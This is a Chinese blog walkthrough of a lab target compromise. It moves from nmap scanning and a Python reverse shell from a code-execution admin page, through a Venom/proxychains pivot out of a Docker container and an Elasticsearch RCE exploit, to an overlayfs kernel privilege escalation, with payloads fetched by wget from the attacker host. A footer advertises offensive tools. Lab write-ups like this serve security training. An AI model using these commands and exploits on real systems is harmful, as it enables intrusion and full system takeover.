公众号无关。 |
day1
第一部分
信息收集
打开靶机,先ipconfig
查看自己是否两张网卡
发现192.168.56.102端口,接下来本地ARP探测扫描(ARP:即地址解析协议,负责把目的主机的IP 地址解析成目的MAC地址。当发送者 知道目的主机的IP地址之后, 就可以使用这个IP地址去解析对方的MAC地址。)
arp-scan -l -I eth1
靶机ip为192.168.56.105
扫描端口
nmap -p- 192.168.56.105
发现了5000端口,接下来进行指定的具体扫描
`nmap -p22,5000 -sV ip
这里发现5000端口是一个web服务,登录网址看一哈,结果看到了如下页面,试了几下没什么用
4.接下来看看他的目录下藏没藏东西
发现了admin文件,接下来查看一下,有什么猫腻
得知输入框内的值会被代码执行,尝试python代码反弹shell,上网找一个
执行反弹shell的代码,注意这里/bin/sh
不能是/bin/bash
,可能是目标机器没有bash。
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.102",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
4.进行本地端口监听
nc -nlvp 4444
监听4444端口
之后查看id发现为root权限,ls又发现了目录里有dockerfile,怀疑拿下的是docker容器的系统,并没有拿下sudo机器。之后ls /.dockerenv
,发现有这个文件存在,确认猜想。
第一部分结束:获取ip->端口扫描->web信息收集->漏洞利用反弹shell->拿到docker容器root权限
第二部分
思路:想办法从docker容器的隔离中跳出来,拿到sudo机器的权限。
1.我们查看一下ip
发现和我们的ip地址不一样,猜想可能进入了一个docker环境,进一步确认
cat /proc/1/cgroup #proc是进程目录,1是初始化进程。我们可以看到docker相关的信息,那么100%确认是进入了docker环境
接着我们需要对内网的主机进行存活探测,可以先使用shell脚本for循环ping出存活主机for i in $(seq 1 10); do ping -c 1 172.17.0.$i; done
存活主机为172.17.0.1/2/3,其中0.3为docker容器的内网ip
对主机信息收集
由于大部分收集工具在kali机上,所以需要在kali机和靶机的内网之间搭建一条隧道。这里我们使用Venom
(Venom可将多个节点进行连接,然后以节点为跳板,构建多级代理)先在本机启动一个服务端
./admin_linux_x64 -lport 9999
开启一个http服务,在容器机用wget把客户端下进去,根据信息收集,这里选择使用agent_linux_x86,为了方便后面操作,改名wangfen(把agent_linux_x86→wanfeng)
在此文件夹再打开一个终端,python -m http.server 80
开启web服务
然后先对客户端进行加权限操作,在容器机下载客户端wget http://192.168.56.102/wanfeng
接下来执行权限chrom +x wanfeng
还有两个好玩的指令chattr +i 文件名
锁定文件,root删不掉chmod +s 文件名
每次都以管理员权限运行
但是这是自己运行的靶机就用不到
连接kali机./wanfeng -rhost 192.168.56.102 -rport 9999
然后来到服务端,使用show命令我们可以看到有一个节点已经连接到了。然后我们可以进入到节点,然后启动一个socks代理。
show,查看服务端
goto 1 进入节点
socks 1080 启动一个socks监听
这里我们可以修改proxychains
来达到全局代理的效果。
给kali机挂上代理vi /etc/proxychains4.conf
或者mousepad /etc/proxychains4.conf
拉倒最下面,修改两个地方
内网信息收集
对刚刚发现的172.17.0.1/2/3三台存活的主机进行扫描,由于我们上一步已经设置了全局代理,所以我们后续使用工具的时候只需要在前面添加proxychains
就可以通过代理去执行--------这里每一个都扫了一下
proxychains nmap -sT -Pn 172.17.0.1
proxychains nmap -sT -Pn 172.17.0.2
proxychains nmap -sT -Pn 172.17.0.3
通过对比~.1和~.3都是5000端口,猜想172.17.0.1是192.168.56.102这台sudo机器的内网ip,我们浏览器挂上代理,访问5000端口看一看,不出意外跟192.168.102:5000是一样的
而~.2有一个9200端口,上网搜一搜,发现9200作为Http协议,主要用于外部通讯。
一般都是给ElasticSearch-Head等工具连接ElasticSearch使用的
对172.17.0.2容器进行攻击
我们可以使用kali的searchsploit
来查找Elastucsearch
的相关漏洞利用这个代码,找找exp
有两个rce,由上图可知这个服务的利用代码库/usr/share/exploitdb/exploits
先把可利用的脚本复制过来,然后一个一个试(实际情况我们可以去网络上搜集一下服务的版本再查找利用代码)
cp /usr/share/exploitdb/exploits/linux/remote/36337.py .
这里就是将我们的利用代码copy到当前目录
我们也可以看一下脚本内容
vim 36337.py
查看以后我们得知这是python2写的脚本,所以他需要用python2的环境去运行,利用格式为python2 36337.py 172.17.0.2
proxychains python2 36337.py 172.17.0.2
敲id成功出现了root权限
信息收集一哈,发现由passwords,打开看一下有对应的用户名和对应的hash值
但是这里是一个密码的hash值,这里就是经过了md5加密。这里结果的话就是只有john的账户可以使用,密码破解为1337hack
,直接进行ssh的连接即可。
ssh登录sudo机,提权
`ssh [email protected]
连接到了,不过john为普通用户,但是我们发现目标系统使用的试3.13版本的内核,我们查看可以发现这个linux的内核版本比较的低,应该会存在很多的提权漏洞。这里我们继续直接进行搜索。
searchsploit linux 3.13
我们用这个脚本,先把他copy到桌面
cp /usr/share/exploitdb/exploits/linux/local/37292.c .
然后我们需要查看一下这个源代码,这里可以发现使用这个payload的话需要使用到gcc,但是目标机上并不存在gcc,这样就尴尬了。但是我们可以在本机编译好再上传,但是这个代码还是会调用到gcc,所以我们需要把它删掉一部分。
并且发现它本身还会再次调用gcc来编译一次,意味着就算在kali上编译好了丢进去执行还是会出错。解决方案:修改源码,不让他二次调用gcc编译,而是直接在kali上找到编译好的ofs-lib.so这个二进制库文件让它去读取。
再在kali机上进行编译gcc -o shanque 37292.c
编译好的exp:wanfeng_exp已经生成,要执行还要配合ofs-lib.so这个文件,copy过来
cp /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so .
然后开启python的http服务来让目标主动下载,把这两个都丢到目标sudo机上面去
wget http://192.168.56.102/wanfeng
wget http://192.168.56.102/ofs-lib.so
挪到tmp目录下
mv * /tmp/
cd /tmp
给执行权限exp,然后执行
芜湖~ root提权成功!
总过程:
1.靶机发现:ip192.168.56.1052.全端口扫描5000,223.应用扫描web,openssh4.web服务访问,没有发现漏洞5.目录扫描,/admin6.远程rce,反弹shell,拿到root权限7.发现处于docker容器,内网存活主机探测8.内网穿透,venom使用9.存活主机全端口扫描,确认172.17.0.1为sudo机器,在172.17.0.2发现9200端口,搜索利用exp远程rce,拿下elasticsearch机器的root权限10.password文件发现密码,解密,ssh登陆sudo机,内核漏洞提权。
总结:
1.第一次接触打靶,接触到了arp-scan
工具的使用
2.重温nmap
工具和dirsearch
工具
3.浅了解了docker
环境,nc
命令的监听,`内网和外网
4.学会了用代理(proxychains)来收集信息,9200端口用来外部通讯,venom的使用
5.如何给予权限chrom +x 文件名
,内核漏洞提权
项目地址
https://github.com/sechelper/slcx
扫描二维码进内部交流群
# 往期推荐
云环境利用框架(Cloud exploitation framework)主要用来方便红队人员在获得 AK 的后续工作。
一款基于go写的端口扫描工具,集masscan+nmap+wappalyzer+证书于一体
一款信息泄漏利用工具,适用于.git/.svn/.DS_Store泄漏和目录列出
(签名掠夺者):一款数字签名复制器,可将其他官方exe中数字签名复制到没有签名的exe中。
WebSocket 内存马/Webshell,一种新型内存马/WebShell技术
Chunsou(春蒐),Web指纹资产识别,风险收敛以及企业互联网资产风险摸查识别工具
生成各类免杀webshell适合市面上常见的几种webshell管理工具、冰蝎、蚁剑、哥斯拉
Spring漏洞综合利用工具——Spring_All_Reachable
原文始发于微信公众号(x9sec):团队小老弟的内网打靶记录-1
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论